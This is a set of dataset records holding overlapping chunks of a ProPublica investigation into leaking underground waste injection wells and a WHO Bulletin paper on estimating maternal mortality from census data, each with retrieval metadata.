"filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.238884"} {"text": "help connect deep geologic layers with shallower ones, allowing fluid to seep through the earth. most injection well permits strictly limit the maximum pressure allowed, but well operators \u2014 rushing to dispose of more waste in less time \u2014 sometimes break the rules, state regulatory inspections show. according to data provided by states to the epa, deep well operators have been caught exceeding injection pressure limits more than 1, 100 times since 2008. excessive pressure factored into a 1989 well failure that yielded new clues about the risks of injection. while drilling a disposal well in southern ohio, workers for the aristech chemical corp. ( since bought by sunoco, and sold again, in 2011, to haverhill chemicals ) were overwhelmed by the smell of phenol, a deadly chemical the company had injected into two class 1 wells nearby. somehow, perhaps over decades, the pollution had risen 1, 400 feet through solid rock and was progressing toward surface aquifers. ohio environmental officials \u2013 aided by the epa \u2013 investigated for some 15 years. they concluded that the wells were mechanically sound, but aristech had injected waste into them faster and under higher pressure than the geologic formation could bear. though scientists maintain that the aristech leak was a rarity, they acknowledge that such problems are more likely in places where industrial activity has changed the underground environment. there are upwards of 2 million abandoned and plugged oil and gas wells in the u. s., more than 100, 000 of which may not appear in regulators \u2019 records. sometimes they are just broken off tubes of steel, buried or sticking out of the ground. many are supposed to be sealed shut with cement, but studies show that cement breaks down over time, allowing seepage up the well structure. also, if injected waste reaches the bottom of old wells, it can quickly be driven back towards aquifers, as it was in chico. \u201c the united states looks like a pin cushion, \u201d said bruce kobelski, a geologist who has been with the agency \u2019 s underground injection program since 1986. kobelski spoke to propublica in may, 2011, before the epa declined additional interview requests for this story. \u201c unfortunately there are cases where someone missed a well or a well wasn \u2019 t indicated. it could have been a well from the turn of the [ 20th ] century. \u201d clefts left after the earth is cracked open to frack for oil and gas also can connect abandoned wells and waste injection zones. how far these man - made fissures go is still the subject", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4357126626005351, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.239900"} {"text": "turn of the [ 20th ] century. \u201d clefts left after the earth is cracked open to frack for oil and gas also can connect abandoned wells and waste injection zones. how far these man - made fissures go is still the subject of research and debate, but in some cases they have reached as much as a half - mile, even intersecting fractures from neighboring wells. when injection wells intersect with fracked wells and abandoned wells, the combined effect is that many of the natural protections assumed to be provided by deep underground geology no longer exist. \u201c it \u2019 s a natural system and if you go in and start punching holes through it and changing pressure systems around, it \u2019 s no longer natural, \u201d said nathan wiser, an underground injection expert working for the epa in its rocky mountain region, in a 2010 interview. \u201c it \u2019 s difficult to know how it would behave in those circumstances. \u201d epa data provides a window into some injection well problems, but not all. there is no way to know how many wells have undetected leaks or to measure the amount of waste escaping from them. in at least some cases, records obtained by propublica show, well failures may have contaminated sources of drinking water. between 2008 and 2011, state regulators reported 150 instances of what the epa calls \u201c cases of alleged contamination, \u201d in which waste from injection wells purportedly reached aquifers. in 25 instances, the waste came from class 2 wells. the epa did not respond to requests for the results of investigations into those incidents or to clarify the standard for reporting a case. the data probably understates the true extent of such incidents, however. leaking wells can simply go undetected. one texas study looking for the cause of high salinity in soil found that at least 29 brine injection wells in its study area were likely sending a plume of salt water up into the ground unnoticed. even when a problem is reported, as in chico, regulators don \u2019 t always do the expensive and time - consuming work necessary to investigate its cause. \u201c the absence of episodes of pollution can mean that there are none, or that no one is looking, \u201d said salazar, the epa \u2019 s former injection expert. \u201c i would tend to believe it is the latter. \u201d the practice of injecting waste underground arose as a solution to an environmental crisis. in the first half of the 20th century, toxic waste collected in cesspools, or was dumped in rivers or poured onto fields. as the consequences of unbridled pollution", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4581282561741643, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.240891"} {"text": "injecting waste underground arose as a solution to an environmental crisis. in the first half of the 20th century, toxic waste collected in cesspools, or was dumped in rivers or poured onto fields. as the consequences of unbridled pollution became unacceptable, the country turned to an out - of - sight alternative. drawing on techniques developed by the oil and gas industry, companies started pumping waste back into wells drilled for resources. toxic waste became all but invisible. air and water began to get cleaner. then a host of unanticipated problems began to arise. in april, 1967 pesticide waste injected by a chemical plant at denver \u2019 s rocky mountain arsenal destabilized a seismic fault, causing a magnitude 5. 0 earthquake \u2014 strong enough to shatter windows and close schools \u2014 and jolting scientists with newfound risks of injection, according to the u. s. geological survey. a year later, a corroded hazardous waste well for pulping liquor at the hammermill paper co., in erie, pa., ruptured. five miles away, according to an epa report, \u201c a noxious black liquid seeped from an abandoned gas well \u201d in presque isle state park. in 1975 in beaumont, texas, dioxin and a highly acidic herbicide injected underground by the velsicol chemical corp. burned a hole through its well casing, sending as much as five million gallons of the waste into a nearby drinking water aquifer. then in august 1984 in oak ridge, tenn., radioactive waste was turned up by water monitoring near a deep injection well at a government nuclear facility. regulators raced to catch up. in 1974, the safe drinking water act was passed, establishing a framework for regulating injection. then, in 1980, the epa set up the tiered classes of wells and began to establish basic construction standards and inspection schedules. the epa licensed some state agencies to monitor wells within their borders and handled oversight jointly with others, but all had to meet the baseline requirements of the federal underground injection control program. even with stricter regulations in place, 17 states \u2013 including alabama, north carolina, south carolina and wisconsin \u2014 banned class 1 hazardous deep well injection. \u201c we just felt like based on the knowledge that we had at that time that it was not something that was really in the best interest of the environment or the state, \u201d said james warr, who headed alabama \u2019 s department of environmental management at the time. injection accidents kept cropping up. a 1987 general accountability office review put", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4119751097868553, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.242451"} {"text": "was not something that was really in the best interest of the environment or the state, \u201d said james warr, who headed alabama \u2019 s department of environmental management at the time. injection accidents kept cropping up. a 1987 general accountability office review put the total number of cases in which waste had migrated from class 1 hazardous waste wells into underground aquifers at 10 \u2014 including the texas and pennsylvania sites. two of those aquifers were considered potential drinking water sources. in 1989, the gao reported 23 more cases in seven states where oil and gas injection wells had failed and polluted aquifers. new regulations had done little to prevent the problems, the report said, largely because most of the wells involved had been grandfathered in and had not had to comply with key aspects of the rules. noting four more suspected cases, the report also suggested there could be more well failures, and more widespread pollution, beyond the cases identified. \u201c the full extent to which injected brines have contaminated underground sources of drinking water is unknown, \u201d it stated. the gao concluded that most of the contaminated aquifers could not be reclaimed because fixing the damage was \u201c too costly \u201d or \u201c technically infeasible. \u201d faced with such findings, the federal government drafted more rules aimed at strengthening the injection program. the government outlawed certain types of wells above or near drinking water aquifers, mandating that most industrial waste be injected deeper. the agency also began to hold companies that disposed of hazardous industrial waste to far stiffer standards. to get permits to dispose of hazardous waster after 1988, companies had to prove \u2013 using complex models and geological studies \u2014 that the stuff they injected wouldn \u2019 t migrate anywhere near water supplies for 10, 000 years. they were already required to test for fault zones and to conduct reviews to ensure there were no conduits for leakage, such as abandoned wells, within a quarter - mile radius. later, that became a two - mile minimum radius for some wells. the added regulations would have prevented the vast majority of the accidents that occurred before the late 1980s, epa officials contend. \u201c the requirements weren \u2019 t as rigorous, the testing wasn \u2019 t as rigorous and in some cases the shallow aquifers were contaminated, \u201d kobelski said. \u201c the program is not the same as it was when we first started. \u201d today \u2019 s injection program, however, faces a new set of problems. as federal regulators toughened rules for injecting hazardous waste, oil and gas companies argued that the new standards could drive", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.44410309596345837, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.244255"} {"text": "the same as it was when we first started. \u201d today \u2019 s injection program, however, faces a new set of problems. as federal regulators toughened rules for injecting hazardous waste, oil and gas companies argued that the new standards could drive them out of business. state oil and gas regulators pushed back against the regulations, too, saying that enforcing the rules for class 2 wells \u2013 which handle the vast majority of injected waste by volume \u2014 would be expensive and difficult. ultimately, the energy industry won a critical change in the federal government \u2019 s legal definition of waste : since 1988, all material resulting from the oil and gas drilling process is considered non - hazardous, regardless of its content or toxicity. \u201c it took a lot of talking to sell the epa on that and there are still a lot of people that don \u2019 t like it, \u201d said bill bryson, a geologist and former head of the kansas corporation commission \u2019 s conservation division, who lobbied for and helped draft the federal rules. \u201c but it seemed the best way to protect the environment and to stop everybody from just having to test everything all the time. \u201d the new approach removed many of the constraints on the oil and gas industry. they were no longer required to conduct seismic tests ( a stricture that remained in place for class 1 wells ). operators were allowed to test their wells less frequently for mechanical integrity and the area they had to check for abandoned wells was kept to a minimum \u2013 one reason drilling waste kept bubbling to the surface near chico. soon after the first chico incident, texas expanded the area regulators were required to check for abandoned waste wells ( a rule that applied only to certain parts of the state ). doubling the radius they reviewed in chico to a half mile, they found 13 other injection or oil and gas wells. when they studied the land within a mile \u2013 the radius required for review of many class 1 wells \u2013 officials discovered another 35 wells, many dating to the 1950s. the railroad commission concluded that the chico injection well had overflowed : the target rock zone could no longer handle the volume being pushed into it. trying to cram in more waste at the same speed could cause further leaks, regulators feared. the commission set new limits on how fast the waste could be injected, but did not forbid further disposal. the well remains in use to this day. in late 2008, samples of chico \u2019 s municipal drinking water were found to contain radium, a radioactive derivative of uranium and a common attribute of drilling waste. the water well was a few miles away from the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45186902362146386, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.249700"} {"text": "well remains in use to this day. in late 2008, samples of chico \u2019 s municipal drinking water were found to contain radium, a radioactive derivative of uranium and a common attribute of drilling waste. the water well was a few miles away from the leaking injection well site, but environmental officials said the contaminants discovered in the water well were unrelated, mostly because they didn \u2019 t include the level of sodium typical of brine. since then, ed cowley, the public works director, said commission officials have continued to assure him that brine won \u2019 t reach chico \u2019 s drinking water. but since the agency keeps allowing more injection and doesn \u2019 t track the cumulative volume of waste going into wells in the area, he \u2019 s skeptical that they can keep their promise. \u201c i was kind of like, \u2018 you all need to get together and look at the total amount you are trying to fit through the eye of the needle, \u2019 \u201d he said. when sewage flowed from 20 class 1 wells near miami into the upper floridan aquifer, it challenged some of scientists \u2019 fundamental assumptions about the injection system. the wells \u2013 which had helped fuel the growth of south florida by eliminating the need for expensive water treatment plants \u2014 had passed rigorous epa and state evaluation throughout the 1980s and 1990s. inspections showed they were structurally sound. as class 1 wells, they were subject to some of the most frequent tests and closest scrutiny. yet they failed. the wells \u2019 designers would have calculated what is typically called the \u201c zone of influence \u201d \u2014 the space that waste injected into the wells was expected to fill. this was based on estimates of how much fluid would be injected and under what pressure. in drawings, the zone of influence typically looks like a hershey \u2019 s kiss, an evenly dispersed plume spreading in a predictable circular fashion away from the bottom of the well. above the zone, most drawings depict uniform formations of rock not unlike a layer cake. based on modeling and analysis by some of the most sophisticated engineering consultants in the country, florida officials, with the epa \u2019 s assent, concluded that waste injected into the miami - area wells would be forever trapped far below the south florida peninsula. \u201c all of the modeling indicated that the injectate would be confined in the injection zone, \u201d an epa spokesperson wrote to propublica in a statement. but as miami poured nearly half a billion gallons of partly treated sewage into the ground each day from the late 1980s through the mid 1990s, hydrogeologists learned that the earth \u2013 and the flow of fluids through", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4419947870868146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.252555"} {"text": "wrote to propublica in a statement. but as miami poured nearly half a billion gallons of partly treated sewage into the ground each day from the late 1980s through the mid 1990s, hydrogeologists learned that the earth \u2013 and the flow of fluids through it \u2013 wasn \u2019 t as uniform as the models depicted. florida \u2019 s injection wells, for example, had been drilled into rock that was far more porous and fractured than scientists previously understood. \u201c geology is never what you think it is, \u201d said ronald reese, a geologist with the united states geological survey in florida who has studied the well failures there. \u201c there are always surprises. \u201d other gaps have emerged between theories of how underground injection should work and how it actually does. rock layers aren \u2019 t always neatly stacked as they appear in engineers \u2019 sketches. they often fold and twist over on themselves. waste injected into such formations is more likely to spread in lopsided, unpredictable ways than in a uniform cone. it is also likely to channel through spaces in the rock as pressure forces it along the weakest lines. petroleum engineers in texas have found that when they pump fluid into one end of an oil reservoir to push oil out the other, the injected fluid sometimes flows around the reservoir, completely missing the targeted zone. \u201c people are still surprised at the route that the injectate is taking or the bypassing that can happen, \u201d said jean - philippe nicot, a research scientist at the university of texas \u2019 bureau of economic geology. conventional wisdom says fluids injected underground should spread at a rate of several inches or less each year, and go only as far as they are pushed by the pressure inside the well. in some instances, however, fluids have travelled faster and farther than researchers thought possible. in a 2000 case that wasn \u2019 t caused by injection but brought important lessons about how fluids could move underground, hydrogeologists concluded that bacteria - polluted water migrated horizontally underground for several thousand feet in just 26 hours, contaminating a drinking water well in walkerton, ontario, and sickening thousands of residents. the fluids travelled 80 times as fast as the standard software model predicted was possible. according to the model, vertical movement of underground fluids shouldn \u2019 t be possible at all, or should happen over what scientists call \u201c geologic time \u201d : thousands of years or longer. yet a 2011 study in wisconsin found that human viruses had managed to infiltrate deep aquifers, probably moving downward through layers believed to be a permanent seal. according to a study published in april in the journal ground water", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4963294265075949, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.255045"} {"text": ": thousands of years or longer. yet a 2011 study in wisconsin found that human viruses had managed to infiltrate deep aquifers, probably moving downward through layers believed to be a permanent seal. according to a study published in april in the journal ground water, it \u2019 s not a matter of if fluid will move through rock layers, but when. tom myers, a hydrologist, drew on research showing that natural faults and fractures are more prevalent than commonly understood to create a model that predicts how chemicals might move in the marcellus shale, a dense layer of rock that has been called impermeable. the marcellus shale, which stretches from new york to tennessee, is the focus of intense debate because of concerns that chemicals injected in drilling for natural gas will pollute water. myers \u2019 new model said that chemicals could leak through natural cracks into aquifers tapped for drinking water in about 100 years, far more quickly than had been thought. in areas where there is hydraulic fracturing or drilling, myers \u2019 model shows, man - made faults and natural ones could intersect and chemicals could migrate to the surface in as little as \u201c a few years, or less. \u201d \u201c it \u2019 s out of sight, out of mind now. but 50 years from now? \u201d myers said, referring to injected waste and the rock layers trusted to entrap it. \u201c simply put, they are not impermeable. \u201d myers \u2019 work is among the few studies done over the past few decades to compare theories of hydrogeology to what actually happens. but even his research is based on models. \u201c a lot of the concepts and a lot of the regulations that govern this whole practice of subsurface injection is kind of dated at this point, \u201d said one senior epa hydrologist who was not authorized to speak to propublica, and declined to be quoted by name. \u201c it \u2019 s a problem, \u201d he said. \u201c there needs to be a hard look at this in a new way. \u201d abrahm lustgarten is a new york writer and photographer who reports on the environment, health and sports. more abrahm lustgarten. more related stories - if alex pareene was a cable news executive... - portland ' s senseless war on fluoride - graphic video reportedly shows possible london machete attack suspect - what economists get wrong about the jobs crisis - ted cruz : \" i don ' t trust the republicans \" - pa. governor \" can ' t find \" any latinos to work in", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.530019731606576, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.256384"} {"text": "##de - graphic video reportedly shows possible london machete attack suspect - what economists get wrong about the jobs crisis - ted cruz : \" i don ' t trust the republicans \" - pa. governor \" can ' t find \" any latinos to work in his administration - glenn beck : \" the american people have just been raped \" - \" original coca - cola had a very small amount of cocaine \" - corporations accused of wrongdoing win battle to keep identities secret - weak, incompetent democrats blow another one - lois lerner, irs disaster - cyber attacks could cause the next world war - donald rumsfeld worried that marriage equality will lead to polygamy - experts : fox news spying scandal a game - changer - biden cracks obama teleprompter joke - irs official takes the fifth : \" i have not done anything wrong \" - lessons from lincoln leave gay immigrants behind - los angeles elects first jewish mayor - peter king : there ' s \" hypocrisy \" over aid by oklahoma senators - anthony weiner announces run for nyc mayor - how policy nihilists in the senate doomed lgbt immigrants featured slide shows the week in 10 picsclose x - 1 of 11 credit : ap / lm otero credit : ap / matt rourke credit : ap / jenny aicher credit : ap / molly riley credit : ap / j. scott applewhite credit : ap / carolyn kaster credit : ap / las vegas review - journal / jeff scheid credit : ap / nasa / chris hadfield credit : ap / jacquelyn martin credit : ap / the duluth news - tribune / clint austin recent slide shows - 1 of 11", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.36383141088238746, "token_count": 341, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.257152"} {"text": "being an involved parent at school choosing a school / moving schools healthy school kids learning disabilities / special needs summer learning activities technology and kids testing & standards grades 1 - 2 worksheets grades 3 - 4 worksheets grades 5 - 6 worksheets grades 7 - 8 worksheets testing / college prep worksheets english / language arts worksheets social studies worksheets answered byour experts how do parent might get involved in their child ' s classroom or school. take... asked by tamarra in being an involved parent at school how do i teach a pretee to read with a ad disorder? asked by jashun in being an involved parent at school where can i take my son to be tested for dyslexia? asked by water142 in being an involved parent at school what is the similarity and differences of frequency table and line plot asked by neha in being an involved parent at school 5th grade special need boy how help understand that home work is very inportant to get done he is adhd asked by tinkerbell in being an involved parent at school my son has adhd. his being given medication for him to focus and be behave.... asked by tariq8 in being an involved parent at school pre - teen girlfriend always following my daughter how should my 11 year old daughter handle a friend that has no other friend... asked by dluchesi in being an involved parent at school 4th grade homework i can ' t believe the difference in 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health organ vol. 79 no. 7 genebra jul. 2001 every death counts : measurement of maternal mortality via a census abstract : methods for measuring maternal mortality at national and subnational levels in the developing world lag far behind the demand for estimates. we evaluated use of the national population census as a means of measuring maternal mortality by assessing data from five countries ( benin, islamic republic of iran, lao people ' s democratic republic, madagascar, and zimbabwe ) which identified maternal deaths in their censuses. standard demographic methods were used to evaluate the completeness of reporting of adult female deaths and births in the year prior to the census. the results from these exercises were used to adjust the data. in four countries, the numbers of adult female deaths needed to be increased and three countries required upward adjustment of the numbers of recent births. the number of maternal deaths was increased by the same factor as that used for adult female deaths on the assumption that the proportion of adult female deaths due to maternal causes was correct. age patterns of the various maternal mortality indicators were plausible and consistent with external sources of data for other populations. our data suggest that under favourable conditions a national census is a feasible and promising approach for the measurement of maternal mortality. moreover, use of the census circumvents several of the weaknesses of methods currently in use. however, it should also be noted that careful evaluation of the data and adjustment, if necessary, are essential. the public health community is urged to encourage governments to learn from the experience of these five countries and to place maternal mortality estimation in the hands of statistical agencies. keywords maternal mortality ; censuses ; data collection / methods ; evaluation studies ; developing countries ( source : mesh ). mots cles mortalite maternelle ; recensement ; collecte donnees / methodes ; etude evaluation ; pays en development ( source : inserm ). palabras clave mortalidad materna ; censos ; recoleccion de datos / metodos ; estudios de evaluacion ; paises en desarrollo ( fuente : bireme ). high levels of maternal mortality in the developing world have been increasingly recognized as an urgent public health concern during the past decade. the 1987 safe motherhood conference in nairobi, kenya, drew attention to the fact that maternal mortality ratios in the developing world are at least 100 times greater than those found in industrialized countries, identifying maternal mortality as the health indicator with", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.480746564815503, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.303745"} {"text": "the past decade. the 1987 safe motherhood conference in nairobi, kenya, drew attention to the fact that maternal mortality ratios in the developing world are at least 100 times greater than those found in industrialized countries, identifying maternal mortality as the health indicator with the greatest disparity between rich and poor countries. subsequently, several international forums including the 1990 world summit for children, the 1994 international conference on population and development ( icpd ), and the 1996 international conference on women in beijing, china, included a 50 % reduction in maternal mortality over the following decade among its stated goals. this emphasis was reaffirmed by the programme of action approved by the 1999 icpd + 5 in the hague, netherlands ( 1 ). this heightened attention to maternal health has greatly increased demand for measures of maternal mortality at the national and subnational level. such data serve well as broad indicators of progress but cannot be linked to specific interventions. however, the public health community has been slow to accept the fact that maternal mortality data cannot be used to evaluate the impact of the safe motherhood programme ( 2, 3 ). using such data to assess specific interventions can be dangerous. in matlab, bangladesh, for example, where there has been a recently reported decline in maternal mortality, efforts to link the decline to specific interventions failed when it was shown that similar decreases in maternal mortality occurred in both intervention and control areas ( 4 ). regardless of the intended use of the data, methods for measuring and monitoring maternal mortality lag far behind the demand for such statistics. in the industrialized world, civil registration systems generate the needed data on maternal mortality, albeit with substantial, and often acknowledged, underreporting ( 57 ). in the majority of developing countries, however, civil registration data are simply too incomplete to be useful, leading a growing number of countries to turn to sample surveys as a means of measuring maternal mortality. disadvantages of surveys for determining maternal mortality survey methods which attempt to identify recent maternal deaths in households require prohibitively large sample sizes because maternal deaths are relatively rare events. demographic surveillance systems, though valuable for research purposes, cannot safely be generalized to a national population. direct estimation techniques based on survey questions concerning the survival of each respondents sisters are able to increase the sample size at relatively low cost ( 8, 9 ). even using this methodology, however, sample sizes of 500015 000 female respondents, such as is common in the demographic and health surveys ( dhs ) programme, still generate highly imprecise direct estimates of maternal mortality with confidence limits of plus or", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.49081893928721254, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.304892"} {"text": ". even using this methodology, however, sample sizes of 500015 000 female respondents, such as is common in the demographic and health surveys ( dhs ) programme, still generate highly imprecise direct estimates of maternal mortality with confidence limits of plus or minus 30 %, even for reference periods that include events occurring over 7 or more years ( 10 ). indirect sisterhood estimates have similarly wide confidence intervals. given this imprecision, survey - based methods can only provide a national - level estimate, cannot provide information on differentials in maternal mortality, and can only give an estimate for a period that often covers 7 or more years. the degree of imprecision can be seen from the maternal mortality ratios and 95 % confidence intervals ( ci ) from recent surveys : central african republic 1451 ( 95 % ci : 11941709 ) ; indonesia 454 ( 95 % ci : 378529 ) ; and peru 218 ( 95 % ci : 148288 ) ( 10 ). given the shortcomings of the more commonly used approaches summarized above for the measurement of maternal mortality, the attributes of an ideal methodology are outlined in box 1. advantages of census - based measurement of maternal mortality looking at the attributes in box 1, ideally census measurement of maternal mortality would meet all the criteria. a high - quality, decennial census that includes questions on deaths in the household in the last one to two years, followed by questions which would permit identification of maternal deaths would produce current national and subnational maternal mortality statistics, as well as various differentials. this type of census could produce all four of the commonly used maternal mortality indicators, and would allow for trend analysis if undertaken more than once. the issue of sampling or other random error would be eliminated or greatly reduced as a census is not sample based. it would be possible in order to reduce cost to restrict the maternal mortality questions to a sufficiently large subsample of the census. also, data collection would be undertaken by an institution removed from health service provision. finally, periodicity would be adequate since most developing countries undertake a census every 10 years or so. the discussion of maternal mortality above implies measurement of a particular subset of all causes of deaths of adult females, i. e. deaths due to maternal causes. the existing literature on direct estimation of overall adult mortality via a census in the developing world suggests that questions about recent deaths in the household in a census have rarely provided useful information ( 14 ). for example, in the majority of african censuses, 4050 % of deaths may have been omitted", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.46894740274434193, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.306043"} {"text": "adult mortality via a census in the developing world suggests that questions about recent deaths in the household in a census have rarely provided useful information ( 14 ). for example, in the majority of african censuses, 4050 % of deaths may have been omitted. one reason for omission may be the break - up of the household after the death of a mother. given this background, it seems timely to evaluate the experience of countries which have used a census for the measurement of maternal mortality and, on that basis, develop appropriate recommendations. this approach is endorsed by the 1999 icpd + 5 programme of action, which specifically calls on the united nations and donors to support developing countries in undertaking censuses and surveys and to develop innovative and cost - effective solutions for improving estimates of maternal mortality ( 1 ). determining the maternal mortality ratio the most widely used indicator of maternal mortality, the maternal mortality ratio, relates the number of maternal deaths in a particular time period to the number of births in the same period. in order to calculate this indicator from a census, data have to be collected on deaths by age and sex ( to identify deaths of women of reproductive age ), on whether the death of a woman of reproductive age was due to maternal causes, and on births. evaluation of a census as a means of estimating maternal mortality ratios thus requires evaluation of the completeness of recording of adult female deaths, of the adequacy of the approach used to identify maternal deaths, and of the completeness of data on births. five countries were identified which collected maternal mortality data in their most recent censuses ( benin, islamic republic of iran, lao peoples democratic republic, madagascar, and zimbabwe ). the characteristics of these censuses varied considerably, as shown in table 1. the number of enumerators trained to conduct the census ranged from 4800 in benin to over 22 000 in zimbabwe. the length of the census instrument also varied from 26 questions in lao peoples democratic republic to 52 questions in benin. the duration of enumerator training, traditionally very brief, ranged from 1 week or less in madagascar, zimbabwe, and lao peoples democratic republic, to 24 weeks in benin and the islamic republic of iran. in the islamic republic of iran, the census was conducted with all respondents in farsi. in the other countries the census instrument was written in the administrative language of the country and translated as required in the field for respondents speaking other languages. data collection and question formulation the data collection methods and question formulation varied between countries. all five countries collected adult mortality data by", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4657276955792137, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.307303"} {"text": "countries the census instrument was written in the administrative language of the country and translated as required in the field for respondents speaking other languages. data collection and question formulation the data collection methods and question formulation varied between countries. all five countries collected adult mortality data by asking the age and sex for all deaths in the household in the year before the interview. however, the methods used to identify maternal deaths varied substantially ( table 2 ). in benin, lao peoples democratic republic, and zimbabwe, a time - of - death approach was used : one or more questions were asked to determine if adult female deaths occurred during pregnancy, childbirth, or the postpartum period. in madagascar, the following question was asked : were there any live births in this household during the last 12 months whose mother died ( in the last 12 months )? the islamic republic of iran used a follow - up interview within 2 months of the census in households reporting the death of a woman of reproductive age. at these follow - up interviews, the interviewers, who had been trained to carry out verbal autopsies, asked a series of questions concerning the symptoms surrounding the death, and for deaths that were reported as occurring in health facilities, examined the available medical records. completeness of reporting for each country, standard evaluation methods were used to assess the completeness of reporting of all female deaths and births. the completeness of reporting of adult female deaths was assessed using the general growth balance technique that compares reported deaths to mortality information encapsulated in the census age distribution ( 15, 16 ). the method makes use of the fact that for any population ( or segment of a population, such as people of a given age or older ) the entry rate into the segment minus the growth rate of the segment must be equal to the exit rate from the segment. systematic differences between the entry rate and the growth rate ( a residual estimate of the exit rate calculated from the census age distributions ) on the one hand and the exit rate ( calculated from information about deaths by age ) on the other imply an inconsistency between the reporting of population and the reporting of deaths. the magnitude of the inconsistency can be interpreted as a measure of completeness of death reporting relative to population reporting and can then be used to adjust the mortality estimates calculated from the original data. although several variations of the original method exist, all are based on the assumption that misreporting of deaths is constant across age group. net migration is generally assumed to be negligible ( 15, 16 ). evaluation of birth", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4596157860085368, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.308488"} {"text": "original data. although several variations of the original method exist, all are based on the assumption that misreporting of deaths is constant across age group. net migration is generally assumed to be negligible ( 15, 16 ). evaluation of birth data. the evaluation of the birth data was carried out using two different techniques. firstly, reverse projection was used to estimate the number of births from the number of young children in the population, after allowing for risks of childhood death. for example, the number of children aged 04 years in the population can be divided by the probability of surviving from birth to the age group 04 years ( a standard life - table function ) to estimate the number of births in the 5 years before the census. this technique requires both the age distribution of the population and some basis for estimating mortality risks under the age of 5 years. for the application described here, child mortality was estimated from information available from the census on the numbers of children ever born and children surviving, by age of the mother ( 16 ). the second technique, generally called the p / f ratio method, which compares average parity to cumulated current fertility, involves comparing data on births in the year before the census by age of the mother with data on the average numbers of children ever born by women in each age group ( 16 ). this technique relies on the equivalence of lifetime fertility and cumulated age - specific fertility rates. for example, cumulated age - specific fertility rates for women aged 1524 years would be equal to the lifetime fertility of women aged exactly 25 years. appropriately cumulated age - specific fertility rates calculated from births in the 12 months preceding the census can be compared with average numbers of children ever born for women classified by 5 - year age groups ; these rates should be equal if data are accurate and fertility is not changing ( 16 ). if the cumulated age - specific fertility rates are systematically lower than the average numbers of children ever born, births in the 12 months preceding the census are probably underreported. application of this method requires care in situations of changing fertility, where cumulated current fertility will not be equal to lifetime fertility, but conclusions can still be drawn from the results. evaluation of maternal death identification. there are no demographic methods for the evaluation of the identification of maternal deaths. our evaluation therefore relied on an assessment of the plausibility of age patterns of maternal mortality and a comparison of the census results to external sources of data, where available, or to empirical regularities such as an expected j - shape in the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4941111146251945, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:11.309808"} {"text": "deaths. our evaluation therefore relied on an assessment of the plausibility of age patterns of maternal mortality and a comparison of the census results to external sources of data, where available, or to empirical regularities such as an expected j - shape in the maternal mortality ratio by age, or an inverted j - shape for the proportion of all deaths of women of reproductive age that were due to maternal causes. estimates of the maternal mortality ratio given the historical record of estimates of mortality and fertility based on events reported in the year prior to the census in developing countries, it was expected that data for most if not all countries would require substantial upward adjustment : this expectation was confirmed. table 3 presents the results of this analysis for adult female deaths, births, and the resulting maternal mortality ratios. although the adjustment factors were often large, the evaluation techniques were deemed, on the basis of their internal patterns, to have worked well enough to give reasonably precise estimates, though it should be noted that no standard significance tests can be applied to these results. the evaluation techniques described above generated two to three possible adjustment factors for the data on adult female deaths and births. the different factors were calculated by using different methods, or by variations in the assumptions underlying a particular method, or by differing age groups selected for analysis. preferred adjustments ( shown in table 3 ) represent the group consensus after reviewing the results, bearing in mind the demographic conditions of each country. thus, for example, the comparison of cumulated current fertility with lifetime fertility ( p / f ratio method ) was given little weight for the islamic republic of iran and zimbabwe, since fertility is 